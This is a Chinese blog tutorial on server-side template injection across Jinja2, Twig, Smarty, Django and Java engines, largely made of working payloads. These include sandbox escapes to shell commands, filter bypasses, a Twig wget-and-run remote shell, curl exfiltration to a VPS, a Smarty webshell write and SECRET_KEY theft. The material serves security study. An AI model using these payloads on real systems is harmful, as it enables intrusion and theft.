SSTI原理学习

Sl0th Lv4

SSTI原理学习

Flask框架

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from flask import request
from flask import Flask
from flask import render_template_string

app = Flask(__name__)
# app是Flask的实例,它接收包或者模块的名字作为参数,但一般都是传递__name__
@app.route('/test/') # 在运行实体上绑定URL路由
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
''' % code
return render_template_string(html)


if __name__ == '__main__':
app.run(debug=True)
# 运行Flash实体,如果要让网络上的人也可以访问,运行app.run(host=’0.0.0.0’)
# Flask类只有一个必须指定的参数,即程序主模块或者包的名字,__name__是系统变量,该变量指的是本py文件的文件名

常用魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
__class__            # 类的一个内置属性,表示实例对象的类。(沿着实例虚线箭头向上跳一级,对<class 'type'>一直使用,仍返回<class 'type'>,不会跳到object)调用的时候会屏蔽类内定义的同名属性__class__
__base__ # 类型对象的一个直接基类(父类)(沿着继承实线箭头向上跳一级)
__bases__ # 类型对象的全部基类(得是直接继承的,不能是通过继承的传递性的),以元组形式展示,类型的实例通常没有属性 __bases__
__mro__ # 此属性是由类组成的元组,在方法解析期间会基于它来查找基类,返回所有直接或间接的基类(父类),同时也返回自身,按照调用顺序,自身是元组中的第一个,object是最后一个,因此也用''.__class__.__mro__[-1]方式得到object
__subclasses__() # 返回这个类的子类集合(子类没有间接性)
__init__ # 初始化类,返回的类型是function
__globals__ # 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。(使用场景:类.__init__.globals)
__dict__ # 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() # 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() # 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ # 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ # 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read() 得到ls命令执行结果
__str__() # 返回描写这个对象的字符串,可以理解成就是打印出来。

利用eval内建函数执行命令–payload理解

1
2
3
''.__class__.__base__ # 获取到object
''.__class__.__base__.__subclasses__()[99] # 利用脚本的找到_frozen_importlib_external.FileLoader类,下标每一次都不一定一样
''.__class__.__base__.__subclasses__()[99].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls +/').read()") # 利用该类含有builtins类中的内建eval执行命令,os模块中的popen函数与system函数都能用于执行系统命令,但是system函数不会返回命令执行结果

执行system函数,打印出0,表示命令执行成功;否则表示失败

os.popen()返回的是 file read 的对象,对其进行读取read()操作可以看到执行的输出

注意:在想要使用popen搭配几个read函数获取命令执行结果时请务必注意换行符\n,进行字符串处理时需对该\n符进行处理

💡Tips–几个含有eval函数的类

  • warnings.catch_warnings
  • WarningMessage
  • codecs.IncrementalEncoder
  • codecs.IncrementalDecoder
  • codecs.StreamReaderWriter
  • os._wrap_close
  • reprlib.Repr
  • weakref.finalize
  • _frozen_importlib_external.FileLoader
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 寻找eval脚本
import requests

headers = {
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0'
}

for i in range(500):
url = "http://127.0.0.1:5000/?id={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"

res = requests.get(url=url, headers=headers)
if 'eval' in res.text:
print(i)
# 也可以寻找builtins类,其类下有内建函数eval子类

__builtins__为内建模块 builtin存在于python2中,而在python3中被命名为builtins,__builtins__实际上是__builtin__builtins的引用

函数关键字绕过

利用__dict__方法,

1
os.__dict__['s'+'ystem']('whoami')

利用__getattribute__方法绕过

1
2
3
__init__.__getattribute__('__global'+'s__')['sys'] # 拼接
"".__getattribute__("__cla""ss__")
"".__getattribute__("__ssalc__"[::-1]) # 反转

ascii转换

1
""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)] # 等价于"".__class__

system函数代替popen,配合vps与curl命令

1
''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].system('ls > tt.txt & cat tt.txt | xargs -I {} curl http://vps公网IP地址/?{}')  # 这里用到了xargs来传递管道参数,xargs的一个选项-I,使用-I指定一个替换字符串{},这个字符串在xargs扩展时会被替换掉,当-I与xargs结合使用,每一个参数命令都会被执行一次

点号.绕过

利用attr绕过 e.g. ""|attr("__class__") 相当于 "".__class__

利用[]绕过 e.g. {{"".__class__}}相当于 {{""['__classs__']}}

中括号[]绕过

1
2
3
4
5
{{url_for.__globals__['__builtins__']}}
{{url_for.__globals__.__getitem__('__builtins__')}}
{{url_for.__globals__.pop('__builtins__')}}
{{url_for.__globals__.get('__builtins__')}}
{{url_for.__globals__.setdefault('__builtins__')}} # setdefault 函数的功能:获取某个 key 的value,若 key 不存在于字典中,将会添加 key 并将 value 设为默认值

下划线_绕过

1
2
3
{{""["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "app\x2Epy")}}
#也就是
{{"".__class__.__bases__[0].__subclasses__()[91].get_data(0,"app.py")}}

“\x5f”是字符 ”_“,”\x2E”是字符 “.”。

PHP中的SSTI

php常见的模板:twig,smarty,blade

Twig

1
2
3
4
5
6
7
<?php
  require_once dirname(__FILE__).'\twig\lib\Twig\Autoloader.php';
  Twig_Autoloader::register(true);
  $twig = new Twig_Environment(new Twig_Loader_String());
  $output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值
  echo $output;
?>

Twig使用一个加载器 loader(Twig_Loader_Array) 来定位模板,以及一个环境变量 environment(Twig_Environment) 来存储配置信息。

render() 方法通过其第一个参数载入模板,并通过第二个参数中的变量来渲染模板

但即使向name传入js代码进行渲染也不能成功,因为模版引擎一般都默认对渲染的变量值进行编码和转义

渲染的模版内容受到用户的控制

1
2
3
4
5
6
<?php
  require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
  Twig_Autoloader::register(true);
  $twig=newTwig_Environment(newTwig_Loader_String());
  $output=$twig->render("Hello {$_GET['name']}");// 将用户输入作为模版内容的一部分
  echo $output;?>

此时可以传入js代码或其他表达式等,会被成功执行

判断技巧

作为 Twig 模板引擎的默认注释形式,所以在前端输出的时候并不会显示

因此可以得到以下判断流程图

image-20220816200203853
image-20220816200203853

如果在web页面的源代码中看到了诸如以下的字符,就可以推断网站使用了某些模板引擎来呈现数据

1
2
3
4
<div>{$what}</div>
<p>Welcome, {{username}}</p>
<div>{%$a%}</div>
...

可以注入了探测字符串 $579,以查看应用程序是否进行了相应的计算

在这里提供一个针对twig的攻击载荷:

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls")}}

可以填入系统命令执行

模板注入远程下载shell,并重命名运行

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("wget http://192.168.127.131/shell.txt -O /tmp/shell.php;php -f /tmp/shell.php")}}

以上就是php twig模板注入,由于以上使用的twig为2.x版本,现在官方已经更新到3.x版本,根据官方文档新增了 filter 和 map 等内容,补充一些新版本的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{{'/etc/passwd'|file_excerpt(1,30)}}

{{app.request.files.get(1).__construct('/etc/passwd','')}}

{{app.request.files.get(1).openFile.fread(99)}}

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

{{_self.env.enableDebug()}}{{_self.env.isDebug()}}

{{["id"]|map("system")|join(",")

{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}

{{["id",0]|sort("system")|join(",")}}

{{["id"]|filter("system")|join(",")}}

{{[0,0]|reduce("system","id")|join(",")}}

{{['cat /etc/passwd']|filter('system')}}

TWIG 全版本通用 SSTI payloads - 先知社区 (aliyun.com)

Smarty

Smarty是最流行的PHP模板语言之一,为不受信任的模板执行提供了安全模式。这会强制执行在 php 安全函数白名单中的函数,因此我们在模板中无法直接调用 php 中直接执行命令的函数(相当于存在了一个disable_function)

$smarty内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后我们就去找 smarty 给我们的的方法

smarty/libs/sysplugins/smarty_internal_data.php  ——>  getStreamVariable() 这个方法可以获取传入变量的流

image-20220817011709847
image-20220817011709847

因此我们可以用这个方法读文件,payload:

1
{self::getStreamVariable("file:///etc/passwd")}

smarty/libs/sysplugins/smarty_internal_write_file.php  ——>  Smarty_Internal_Write_File 这个类中有一个writeFile方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
class Smarty_Internal_Write_File
{
/**
* Writes file in a safe way to disk
*
* @param string $_filepath complete filepath
* @param string $_contents file content
* @param Smarty $smarty smarty instance
*
* @throws SmartyException
* @return boolean true
*/
public function writeFile($_filepath, $_contents, Smarty $smarty)
{
$_error_reporting = error_reporting();
error_reporting($_error_reporting & ~E_NOTICE & ~E_WARNING);
if ($smarty->_file_perms !== null) {
$old_umask = umask(0);
}

$_dirpath = dirname($_filepath);
// if subdirs, create dir structure
if ($_dirpath !== '.' && !file_exists($_dirpath)) {
mkdir($_dirpath, $smarty->_dir_perms === null ? 0777 : $smarty->_dir_perms, true);
}

// write to tmp file, then move to overt file lock race condition
$_tmp_file = $_dirpath . DS . str_replace(array('.', ','), '_', uniqid('wrt', true));
if (!file_put_contents($_tmp_file, $_contents)) {
error_reporting($_error_reporting);
throw new SmartyException("unable to write file {$_tmp_file}");
}

/*
* Windows' rename() fails if the destination exists,
* Linux' rename() properly handles the overwrite.
* Simply unlink()ing a file might cause other processes
* currently reading that file to fail, but linux' rename()
* seems to be smart enough to handle that for us.
*/
if (Smarty::$_IS_WINDOWS) {
// remove original file
if (is_file($_filepath)) {
@unlink($_filepath);
}
// rename tmp file
$success = @rename($_tmp_file, $_filepath);
} else {
// rename tmp file
$success = @rename($_tmp_file, $_filepath);
if (!$success) {
// remove original file
if (is_file($_filepath)) {
@unlink($_filepath);
}
// rename tmp file
$success = @rename($_tmp_file, $_filepath);
}
}
if (!$success) {
error_reporting($_error_reporting);
throw new SmartyException("unable to write file {$_filepath}");
}
if ($smarty->_file_perms !== null) {
// set file permissions
chmod($_filepath, $smarty->_file_perms);
umask($old_umask);
}
error_reporting($_error_reporting);

return true;
}
}

可以看到 writeFile 函数第三个参数一个 Smarty 类型,后来找到了 self::clearConfig(),返回类型是Smarty 函数原型:

1
2
3
4
public function clearConfig($varname = null)
{
return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}

因此我们可以构造payload写个webshell:

1
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php eval($_GET['cmd']); ?>",self::clearConfig())}

常见注入点

页面显示ip,考虑在受XFF控制,抓包修改X-Forwarded-For值为payload,可以先用{7*7}测试

如果没有特殊过滤,可以直接用system函数{system('cat /flag')}

常规利用方式

1
{$smarty.version}  #获取smarty的版本号
1
{php}phpinfo();{/php}  #执行相应的php代码

Smarty3版本中已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用

1
<script language="php">phpinfo();</script>   

这个地方借助了 {literal} 这个标签,因为 {literal} 可以让一个模板区域的字符原样输出。 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。但是这种写法只适用于php5环境

1
{self::getStreamVariable("file:///etc/passwd")}

读文件,3.1.30的Smarty版本中官方已经把该静态方法删除

1
{if phpinfo()}{/if}

Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||,or,&&,and,is_array()等等,如:{if is_array($array)}{/if}

也可以执行系统命令

1
{if system("ls")}{/if}

漏洞成因

1
2
3
4
5
6
<?php
require_once('./smarty/libs/' . 'Smarty.class.php');
$smarty = new Smarty();
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$smarty->display("string:".$ip); // display函数把标签替换成对象的php变量;显示模板
}

Blade

laravel Blade 模板引擎 - 心之所依 - 博客园 (cnblogs.com)

Blade 模板引擎有三种常见的语法:

  • 通过 {{ }} 渲染 PHP 变量(最常用)
  • 通过 {!! !!} 渲染原生 HTML 代码(用于富文本数据渲染)
  • 通过以 @ 作为前缀的 Blade 指令执行一些控制结构和继承、引入之类的操作

渲染数据

我们来看一下 {{}} 语法,我们通过通过该语法包裹需要渲染的 PHP 变量,如 {{ $variable }},你可以将其类比为 <?php echo $variable; ?>,但是 Blade 模板代码的功能要更强大,通过 {{}} 语法包裹渲染的 PHP 变量会通过 htmlentities() 方法进行 HTML 字符转义,从而避免类似 XSS 这种攻击,提高了代码的安全性,所以 {{ $variable }} 编译后的最终代码是:

1
<?php echo htmlentities($variable); ?>

但是某些情况下不能对变量中 HTML 字符进行转义,比如我们在表单通过富文本编辑器编辑后提交的表单数据,这种场景就需要通过 {!! !!} 来包裹待渲染数据了:

1
{!! $variable !!}

这样编译后的代码就是 <?php echo $variable; ?>

如果要注释一段 PHP 代码,可以通过 {{-- 注释内容 --}} 实现

Python中的SSTI

python常见的模板有:Jinja2,tornado

Jinja2

Jinja2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的

Jinja2是Flask框架的一部分。Jinja2会把模板参数提供的相应的值替换了 {{…}}

Jinja2使用 {{name}}结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取。

Jinja2 模板同样支持控制语句,像在{%…%}块中,下面举一个常见的使用Jinja2模板引擎for语句循环渲染一组元素的例子:

1
2
3
4
5
<ul>
{% for comment in comments %}
<li>{{comment}}</li>
{% endfor %}
</ul>

另外Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值

1
Hello, {{name|capitalize}}

可注入情形代码

1
2
3
4
5
def index():
name = request.args.get('name', 'guest')

t = Template("Hello " + name)
return t.render()

get传参 {{2*2}} 显示4

不可注入情形代码

1
2
3
4
5
def index():
name = request.args.get('name', 'guest')

t = Template("Hello {{n}}")
return t.render(n=name)

用file对象读文件

1
2
3
4
for c in {}.__class__.__base__.__subclasses__():
if(c.__name__=='file'):
print(c)
print c('joker.txt').readlines()

上述代码先通过__class__获取字典对象所属的类,再通过__base__(__bases[0])拿到基类,然后使用__subclasses()获取子类列表,在子类列表中直接寻找可以利用的类

再使用jinja2的语法封装成可解析的样子:

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='file' %}
{{ c("/etc/passwd").readlines() }}
{% endif %}
{% endfor %}

python3已经移除了file。所以利用file子类文件读取只能在python2中用。

内置模块执行命令

可以用__globals__更深入的去看每个类可以调用的东西(包括模块,类,变量等等),如果有os这种可以直接传入命令,造成命令执行

先用脚本找到在哪个子类中,得到下标

1
2
3
4
5
6
7
8
9
#coding:utf-8search = 'os'   #也可以是其他你想利用的模块
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass

可以看到在元组68,73的位置找到了os方法,这样就可以构造命令执行payload:

1
2
3
4
().__class__.__bases__[0].__subclasses__()[68].__init__.__globals__['os'].system('whoami')
().__class__.__base__.__subclasses__()[73].__init__.__globals__['os'].system('whoami')
().__class__.__mro__[1].__subclasses__()[68].__init__.__globals__['os'].system('whoami')
().__class__.__mro__[1].__subclasses__()[73].__init__.__globals__['os'].system('whoami')

不过同样,只能在python2版本使用

推荐__builtins__:

1
2
3
4
5
6
7
8
9
10
11
12
#coding:utf-8

search = '__builtins__'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
print(i.__init__.__globals__.keys())
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass

python3:

1
().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

python2:

1
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

基础payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
获得基类
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__。。。class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]

#python 2.7
#文件操作
#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')

#命令执行
#os执行
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval__import__等的全局函数,可以利用此来执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

#python3.7
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#windows下的os命令
"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()

绕过WAF姿势

过滤[

1
2
3
#getitem、pop
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()

过滤引号

1
2
3
4
5
6
7
8
#chr函数
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}#request对象
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
#命令执行
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id

过滤下划线

1
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

过滤花括号

1
2
#用{%%}标记
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

这里推荐自动化工具tplmap,拿shell、执行命令、bind_shell、反弹shell、上传下载文件,Tplmap为SSTI的利用提供了很大的便利

tornado

tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。

以下代码将定义一个TEMPLATE变量作为一个模板文件,然后使用传入的name替换模板中的”FOO”,在进行加载模板并输出,且未对name值进行安全检查输入情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import tornado.template
import tornado.ioloop
import tornado.web
TEMPLATE = '''
<html>
<head><title> Hello {{ name }} </title></head>
<body> Hello max </body>
</html>
'''
class MainHandler(tornado.web.RequestHandler):

def get(self):
name = self.get_argument('name', '')
template_data = TEMPLATE.replace("FOO",name)
t = tornado.template.Template(template_data)
self.write(t.generate(name=name))

application = tornado.web.Application([(r"/", MainHandler),], debug=True, static_path=None, template_path=None)

if __name__ == '__main__':
application.listen(8000)
tornado.ioloop.IOLoop.instance().start()

利用

在tornado模板中,存在一些可以访问的快速对象,比如 {{escape(handler.settings["cookie"])}},这个其实就是handler.settings对象,里面存储着一些环境变量

Django

先看存在漏洞的代码:

1
2
3
def view(request, *args, **kwargs):
template = 'Hello {user}, This is your email: ' + request.GET.get('email')
return HttpResponse(template.format(user=request.user))

很明显 email 就是注入点,但是条件被限制的很死,很难执行命令,现在拿到的只有有一个和user有关的变量request.user ,这个时候我们就应该在没有应用源码的情况下去寻找框架本身的属性,看这个空框架有什么属性和类之间的引用。

后来发现Django自带的应用 “admin”(也就是Django自带的后台)的models.py中导入了当前网站的配置文件:

image-20220817022432341
image-20220817022432341

所以可以通过某种方式,找到Django默认应用admin的model,再通过这个model获取settings对象,进而获取数据库账号密码、Web加密密钥等信息。

1
2
3
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}

http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

Java中的SSTI

java常见的引擎:FreeMarker, velocity

velocity

Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)

基本语法

语句标识符

#用来标识Velocity的脚本语句,包括#set、#if 、#else、#end、#foreach、#end、#include、#parse、#macro等语句。

变量

$用来标识一个变量,比如模板文件中为Hello $a,可以获取通过上下文传递的$a

声明

set用于声明Velocity脚本变量,变量可以在脚本中声明

1
2
3
#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"])

注释

单行注释为##,多行注释为成对出现的#* …………. *#

条件语句

以if/else为例:

1
2
3
4
5
6
7
8
9
#if($foo<10)
<strong>1</strong>
#elseif($foo==10)
<strong>2</strong>
#elseif($bar==6)
<strong>3</strong>
#else
<strong>4</strong>
#end

转义字符

如果$a已经被定义,但是又需要原样输出$a,可以试用\转义作为关键的$

基础使用

//待补充

FreeMarker

FreeMarker 是一款模板引擎:即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具

FreeMarker模板代码

1
2
3
4
5
6
7
8
9
10
<html>
<head>
<title>Welcome!</title>
</head>
<body> <#-这是注释->
<h1>Welcome ${user}!</h1>
<p>Our latest product:
<a href="${latestProduct.url}">${latestProduct.name}</a>!
</body>
</html>

模板文件存放在Web服务器上,就像通常存放静态HTML页面那样。当有人来访问这个页面, FreeMarker将会介入执行,然后动态转换模板,用最新的数据内容替换模板中 ${…} 的部分, 之后将结果发送到访问者的Web浏览器中。

这个模板主要用于 java ,用户可以通过实现 TemplateModel 来用 new 创建任意 Java 对象

主要

//待补充

  • 标题: SSTI原理学习
  • 作者: Sl0th
  • 创建于 : 2022-04-03 23:54:47
  • 更新于 : 2024-11-11 18:23:06
  • 链接: http://sl0th.top/2022/04/03/SSTI原理学习/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论